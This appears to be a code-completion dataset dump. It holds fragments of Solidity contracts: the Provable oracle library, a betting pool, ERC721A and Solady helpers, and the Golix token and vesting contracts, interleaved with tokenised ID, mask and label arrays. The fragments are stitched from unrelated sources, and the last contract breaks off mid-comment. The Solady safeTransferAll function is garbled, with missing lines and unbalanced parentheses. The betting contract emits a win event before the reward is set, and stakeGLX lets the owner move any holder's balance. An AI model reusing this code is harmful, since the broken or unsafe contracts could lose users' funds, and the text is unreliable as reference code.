+ 32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; copyBytes(_proof, sig2offset - 64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (provable_randomDS_args[_queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))) { //unonce, nbytes and sessionKeyHash match delete provable_randomDS_args[_queryId]; } else return false; // Random DS Proof Step 5: Validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); copyBytes(_proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) { return false; } // Verify if sessionPubkeyHash was verified already, if not.. let's do it! if (!provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash]) { provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = provable_randomDS_proofVerify__sessionKeyValidity(_proof, sig2offset); } return provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } /* The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license */ function copyBytes(bytes memory _from, uint _fromOffset, uint _length, bytes memory _to, uint _toOffset) internal pure returns (bytes memory _copiedBytes) { uint minLength = _length + _toOffset; require(_to.length >= minLength); // Buffer too small. Should be a better way? uint i = 32 + _fromOffset; // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint j = 32 + _toOffset; while (i < (32 + _fromOffset + _length)) { assembly { let tmp := mload(add(_from, i)) mstore(add(_to, j), tmp) } i += 32; j += 32; } return _to; } /* The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license Duplicate Solidity's ecrecover, but catching the CALL return value */ function safer_ecrecover(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal returns (bool _success, address _recoveredAddress) { /* We do our own memory management here. Solidity uses memory offset 0x40 to store the current end of memory. We write past it (as writes are memory extensions), but don't update the offset so Solidity will reuse it. The memory used here is only needed for this context. FIXME: inline assembly can't access return values */ bool ret; address addr; assembly { let size := mload(0x40) mstore(size, _hash) mstore(add(size, 32), _v) mstore(add(size, 64), _r) mstore(add(size, 96), _s) ret := call(3000, 1, 0, size, 128, size, 32) // NOTE: we can reuse the request memory because we deal with the return code. addr := mload(size) } return (ret, addr); } /* The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license */ function ecrecovery(bytes32 _hash, bytes memory _sig) internal returns (bool _success, address _recoveredAddress) { bytes32 r; bytes32 s; uint8 v; if (_sig.length != 65) { return (false, address(0)); } /* The signature format is a compact form of: {bytes32 r}{bytes32 s}{uint8 v} Compact means, uint8 is not padded to 32 bytes. */ assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) /* Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread. There is no 'mload8' to do this, but that would be nicer. */ v := byte(0, mload(add(_sig, 96))) /* Alternative solution: 'byte' is not working due to the Solidity parser, so lets use the second best option, 'and' v := and(mload(add(_sig, 65)), 255) */ } /* albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28] geth uses [0, 1] and some clients have followed. This might change, see: https://github.com/ethereum/go-ethereum/issues/2053 */ if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (false, address(0)); } return safer_ecrecover(_hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize(), sub(msize(), fmem)) } } } // </provableAPI> // File: contracts/1_Storage.sol pragma solidity 0.6.11; pragma experimental ABIEncoderV2; contract WeiStakingByDecentralizedDegenerates is usingProvable { address payable contractCreator; uint256 constant fixedCommission = 1e15 / 2; // Events are useful for the frontend to present information about each bet // Sender, required funds for Provable query event LackingFunds(address indexed, uint256); // Winner, amount won event WonBet(address indexed, uint256); // Loser event LostBet(address indexed); // Refunded user event UnwonBet(address indexed); // Creator, betId, betId, schedule, initialPool, description event CreatedBet(address indexed, string indexed, string, uint64, uint256, string); // User betting, betId, results, betId, results event PlacedBets(address indexed, string indexed, string[] indexed, string, string[]); constructor() public payable { contractCreator = msg.sender; } // BetId -> Deadline to place new bets mapping(string => uint64) public betDeadlines; // BetId -> Query mapping(string => string) public betQueries; // BetId -> Minimum bet entry mapping(string => uint256) public betMinimums; // Keep track of all createdBets to prevent duplicates mapping(string => bool) public createdBets; // Once a query is executed, associate its ID with the bet's ID to handle updating the bet's state in __callback mapping(bytes32 => string) public queryBets; // Keep track of all owners to handle awarding commission fees mapping(string => address payable) public betOwners; mapping(string => uint256) public betCommissions; // To help people avoid overpaying for the oracle contract querying service, its last price is saved and then suggested in the frontend uint256 public lastQueryPrice; function createBet(string calldata betId, string calldata query, uint64 deadline, uint64 schedule, uint256 commission, uint256 minimum, uint256 initialPool, string calldata description) public payable { // Initial pool can't be higher than transferred value, commission can't be higher than 50%, minimum bet is 1 finney require(msg.value >= initialPool && commission > 1 && minimum >= 1e15 && !createdBets[betId] && deadline <= schedule && deadline > block.timestamp); uint256 balance = msg.value; balance -= initialPool; lastQueryPrice = provable_getPrice("URL"); if (lastQueryPrice > balance) { emit LackingFunds(msg.sender, lastQueryPrice); msg.sender.transfer(msg.value); return; } createdBets[betId] = true; bytes32 queryId = provable_query(schedule, "URL", query); queryBets[queryId] = betId; betOwners[betId] = msg.sender; betCommissions[betId] = commission; betDeadlines[betId] = deadline; betMinimums[betId] = minimum; betQueries[betId] = query; // Owner's pool of bets is set to refund them in case nobody wins userPools[betId][msg.sender] += initialPool; betPools[betId] = initialPool; emit CreatedBet(msg.sender, betId, betId, schedule, initialPool, description); } // BetId -> Result -> Total pooled per result mapping(string => mapping(string => uint256)) public resultPools; // BetId -> User -> Total spent per user mapping(string => mapping(address => uint256)) public userPools; // BetId -> Total pooled mapping(string => uint256) public betPools; // BetId -> User -> Result -> How much user mapping(string => mapping(address => mapping(string => uint256))) public userBets; function placeBets(string calldata betId, string[] calldata results, uint256[] calldata amounts) public payable { require(results.length == amounts.length && createdBets[betId] && !finishedBets[betId] && betDeadlines[betId] >= block.timestamp); uint256 total = msg.value; for (uint i = 0; i < results.length; i++) { // More than one bet can be placed at the same time, need to be careful the deposited amount is never less than all combined bets // When the oracle fails an empty string is returned, so by not allowing anyone to bet on an empty string bets can be refunded if an error happens uint256 bet = amounts[i]; require(bytes(results[i]).length > 0 && total >= bet && bet >= betMinimums[betId]); total -= bet; bet -= fixedCommission; // Update all required state and emit the event for the frontend resultPools[betId][results[i]] += bet; userPools[betId][msg.sender] += bet; betPools[betId] += bet; userBets[betId][msg.sender][results[i]] += bet; } contractCreator.transfer(fixedCommission * results.length); // Commission transfer if (total != 0) { msg.sender.transfer(total); } emit PlacedBets(msg.sender, betId, results, betId, results); } // Keep track of which rewards have already been granted mapping(string => mapping(address => bool)) public claimedBets; function claimBet(string calldata betId) public { require(finishedBets[betId] && !claimedBets[betId][msg.sender] && userPools[betId][msg.sender] != 0); claimedBets[betId][msg.sender] = true; // What's the final result? string memory result = betResults[betId]; // Did the user bet on the correct result? uint256 userBet = userBets[betId][msg.sender][result]; uint256 winnerPool = resultPools[betId][result]; uint256 reward; // If no one won then all bets get refunded if (winnerPool == 0) { emit UnwonBet(msg.sender); reward = userPools[betId][msg.sender]; } else if (userBet != 0) { emit WonBet(msg.sender, reward); uint256 loserPool = betPools[betId] - winnerPool; // User gets their corresponding fraction of the loser's pool, along with their original bet reward = loserPool / (winnerPool / userBet) + userBet; } else { emit LostBet(msg.sender); return; } if (reward > 0) { uint256 ownerFee = reward / betCommissions[betId]; uint256 generalFee = reward / 200; reward -= generalFee; reward -= ownerFee; msg.sender.transfer(reward); contractCreator.transfer(generalFee); betOwners[betId].transfer(ownerFee); } } // Keep track of when a bet ends and what its result was mapping(string => bool) public finishedBets; mapping(string => string) public betResults; function __callback(bytes32 queryId, string memory result) override public { string memory betId = queryBets[queryId]; require(msg.sender == provable_cbAddress() && !finishedBets[betId]); betResults[betId] = result; finishedBets[betId] = true; } }
Once a query is executed, associate its ID with the bet's ID to handle updating the bet's state in __callback
mapping(bytes32 => string) public queryBets;
5,741,840
[ 1, 12212, 279, 843, 353, 7120, 16, 13251, 2097, 1599, 598, 326, 2701, 1807, 1599, 358, 1640, 9702, 326, 2701, 1807, 919, 316, 1001, 3394, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 3890, 1578, 516, 533, 13, 1071, 843, 38, 2413, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x8fa702D65542596aC1AD3C5454C622C13e53085E/sources/Moona_Lisa_Print_Original.sol
* @dev Approve or remove `operator` as an operator for the caller. Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. Requirements: - The `operator` cannot be the caller. Emits an {ApprovalForAll} event./
function setApprovalForAll(address operator, bool approved) public virtual override { _operatorApprovals[_msgSenderERC721A()][operator] = approved; emit ApprovalForAll(_msgSenderERC721A(), operator, approved); }
2,771,305
[ 1, 12053, 537, 578, 1206, 1375, 9497, 68, 487, 392, 3726, 364, 326, 4894, 18, 7692, 3062, 848, 745, 288, 13866, 1265, 97, 578, 288, 4626, 5912, 1265, 97, 364, 1281, 1147, 16199, 635, 326, 4894, 18, 29076, 30, 300, 1021, 1375, 9497, 68, 2780, 506, 326, 4894, 18, 7377, 1282, 392, 288, 23461, 1290, 1595, 97, 871, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 23461, 1290, 1595, 12, 2867, 3726, 16, 1426, 20412, 13, 203, 3639, 1071, 203, 3639, 5024, 203, 3639, 3849, 203, 565, 288, 203, 3639, 389, 9497, 12053, 4524, 63, 67, 3576, 12021, 654, 39, 27, 5340, 37, 1435, 6362, 9497, 65, 273, 20412, 31, 203, 3639, 3626, 1716, 685, 1125, 1290, 1595, 24899, 3576, 12021, 654, 39, 27, 5340, 37, 9334, 3726, 16, 20412, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7af62458e41E2F490D2Df54A8FeDc56fFedB8c17/sources/lib/solady/src/utils/SafeTransferLib.sol
@dev Sends all of ERC20 `token` from the current contract to `to`. Reverts upon failure. @solidity memory-safe-assembly Store the function selector of `TransferFailed()`. Revert with (offset, size). Store the function selector of `TransferFailed()`. Revert with (offset, size).
function safeTransferAll(address token, address to) internal returns (uint256 amount) { assembly { if iszero( staticcall(gas(), token, 0x1c, 0x24, 0x3a, 0x20) ) ) { mstore(0x00, 0x90b8ec18) revert(0x1c, 0x04) } if iszero( call(gas(), token, 0, 0x16, 0x44, 0x00, 0x20) ) ) { mstore(0x00, 0x90b8ec18) revert(0x1c, 0x04) } } }
3,203,089
[ 1, 10501, 777, 434, 4232, 39, 3462, 1375, 2316, 68, 628, 326, 783, 6835, 358, 1375, 869, 8338, 868, 31537, 12318, 5166, 18, 632, 30205, 560, 3778, 17, 4626, 17, 28050, 4994, 326, 445, 3451, 434, 1375, 5912, 2925, 1435, 8338, 868, 1097, 598, 261, 3348, 16, 963, 2934, 4994, 326, 445, 3451, 434, 1375, 5912, 2925, 1435, 8338, 868, 1097, 598, 261, 3348, 16, 963, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1595, 12, 2867, 1147, 16, 1758, 358, 13, 2713, 1135, 261, 11890, 5034, 3844, 13, 288, 203, 3639, 19931, 288, 203, 5411, 309, 353, 7124, 12, 203, 10792, 760, 1991, 12, 31604, 9334, 1147, 16, 374, 92, 21, 71, 16, 374, 92, 3247, 16, 374, 92, 23, 69, 16, 374, 92, 3462, 13, 203, 7734, 262, 203, 5411, 262, 288, 203, 7734, 312, 2233, 12, 20, 92, 713, 16, 374, 92, 9349, 70, 28, 557, 2643, 13, 203, 7734, 15226, 12, 20, 92, 21, 71, 16, 374, 92, 3028, 13, 203, 5411, 289, 203, 203, 203, 5411, 309, 353, 7124, 12, 203, 10792, 745, 12, 31604, 9334, 1147, 16, 374, 16, 374, 92, 2313, 16, 374, 92, 6334, 16, 374, 92, 713, 16, 374, 92, 3462, 13, 203, 7734, 262, 203, 5411, 262, 288, 203, 7734, 312, 2233, 12, 20, 92, 713, 16, 374, 92, 9349, 70, 28, 557, 2643, 13, 203, 7734, 15226, 12, 20, 92, 21, 71, 16, 374, 92, 3028, 13, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/GolixToken.sol /** * @title Golix Token contract - ERC20 compatible token contract. * @author Gustavo Guimaraes - <[email protected]> */ contract GolixToken is PausableToken, MintableToken { string public constant name = "Golix Token"; string public constant symbol = "GLX"; uint8 public constant decimals = 18; /** * @dev Allow for staking of GLX tokens * function is called only from owner which is the GLX token distribution contract * is only triggered for a period of time and only if there are still tokens from crowdsale * @param staker Address of token holder * @param glxStakingContract Address where staking tokens goes to */ function stakeGLX(address staker, address glxStakingContract) public onlyOwner { uint256 stakerGLXBalance = balanceOf(staker); balances[staker] = 0; balances[glxStakingContract] = balances[glxStakingContract].add(stakerGLXBalance); emit Transfer(staker, glxStakingContract, stakerGLXBalance); } } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: contracts/VestTokenAllocation.sol /** * @title VestTokenAllocation contract * @author Gustavo Guimaraes - <[email protected]> */ contract VestTokenAllocation is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; uint256 public cliff; uint256 public start; uint256 public duration; uint256 public allocatedTokens; uint256 public canSelfDestruct; mapping (address => uint256) public totalTokensLocked; mapping (address => uint256) public releasedTokens; ERC20 public golix; address public tokenDistribution; event Released(address beneficiary, uint256 amount); /** * @dev creates the locking contract with vesting mechanism * as well as ability to set tokens for addresses and time contract can self-destruct * @param _token GolixToken address * @param _tokenDistribution GolixTokenDistribution contract address * @param _start timestamp representing the beginning of the token vesting process * @param _cliff duration in seconds of the cliff in which tokens will begin to vest. ie 1 year in 